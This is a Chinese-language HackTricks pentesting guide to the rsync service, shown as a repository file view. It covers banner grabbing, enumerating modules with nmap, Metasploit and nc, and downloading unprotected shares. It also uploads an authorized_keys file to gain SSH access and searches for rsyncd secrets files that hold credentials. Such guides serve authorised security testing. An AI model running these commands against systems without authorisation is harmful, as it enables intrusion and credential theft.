hacktricks/network-services-pentesting/873-pentesting-rsync.md
2023-08-03 19:12:22 +00:00

146 lines
8.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 873 - 渗透测试 Rsync
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧。**
</details>
## **基本信息**
> **rsync** 是一种用于在计算机和外部硬盘之间以及跨网络计算机之间高效地[传输](https://en.wikipedia.org/wiki/File\_transfer)和[同步](https://en.wikipedia.org/wiki/File\_synchronization)[文件](https://en.wikipedia.org/wiki/Computer\_file)的实用工具,它通过比较文件的[修改时间](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))和大小来实现。它通常在类Unix的[操作系统](https://en.wikipedia.org/wiki/Operating\_system)中找到。rsync 算法是一种[增量编码](https://en.wikipedia.org/wiki/Delta\_encoding)类型,用于最小化网络使用。可以使用[Zlib](https://en.wikipedia.org/wiki/Zlib)进行额外的[数据压缩](https://en.wikipedia.org/wiki/Data\_compression)[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3)并且可以使用[SSH](https://en.wikipedia.org/wiki/Secure\_Shell)或[stunnel](https://en.wikipedia.org/wiki/Stunnel)进行安全传输。
来自[wikipedia](https://en.wikipedia.org/wiki/Rsync)。
**默认端口:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## 枚举
### 横幅和手动通信
在渗透测试中枚举是一项重要的任务它帮助我们收集关于目标系统的信息。在进行rsync服务的渗透测试时我们可以使用以下方法进行枚举。
#### 横幅
通过连接到目标rsync服务并读取横幅信息我们可以获取有关服务版本和其他相关信息的线索。这可以通过使用`telnet`命令连接到rsync服务的默认端口873来完成。
```bash
telnet <target_ip> 873
```
#### 手动通信
我们还可以使用`rsync`命令与目标rsync服务进行手动通信。这可以帮助我们了解服务的功能和配置。以下是一些常用的手动通信命令
- 列出目标系统上的文件和目录:
```bash
rsync rsync://<target_ip>/
```
- 下载目标系统上的文件或目录:
```bash
rsync -av rsync://<target_ip>/<file_or_directory> <local_destination>
```
- 上传本地文件或目录到目标系统:
```bash
rsync -av <local_file_or_directory> rsync://<target_ip>/<destination_directory>
```
通过使用这些命令我们可以与目标rsync服务进行交互并获取有关目标系统的更多信息。
```
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **枚举共享文件夹**
**一个 rsync 模块本质上是一个目录共享**。这些模块**可以选择性地通过密码进行保护**。这个选项列出了可用的模块,并且可以选择性地确定模块是否需要密码来访问\*\*:\*\*
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
请注意,可以配置一个共享名称以使其不被列出。因此可能有一些**隐藏的**东西。\
请注意,可能有一些列出的**共享名称**需要一些(不同的)**凭据**才能访问。因此,并不总是所有列出的名称都可以访问,如果您在尝试访问其中一些时收到**"访问被拒绝"**的消息,您将会注意到这一点。
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#rsync)
### 手动 Rsync
一旦您获得了**模块列表**,根据您想要采取的操作以及是否需要身份验证,您有几个不同的选项。**如果不需要身份验证**,您可以**列出**一个共享文件夹:
```bash
rsync -av --list-only rsync://192.168.0.123/shared_name
```
并通过以下命令将所有文件复制到本地机器:
```bash
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
这个命令会**递归地将目录** `<shared_name>` 上的所有文件从机器 `<IP>` 传输到本地机器的 `./rsync_shared` 目录中。文件以“归档”模式传输,这确保了符号链接、设备、属性、权限、所有权等在传输中得以保留。
如果你**有凭据**,你可以使用以下命令(密码将会提示)**列出/下载**一个**共享名称**
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
您也可以使用rsync上传一些内容例如在这种情况下我们可以上传一个_**authorized\_keys**_文件以获取对该框的访问权限
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
查找rsyncd配置文件
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
在配置文件中有时可以找到参数_secrets file = /path/to/file_而这个文件可能包含允许用于身份验证到rsyncd的用户名和密码。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>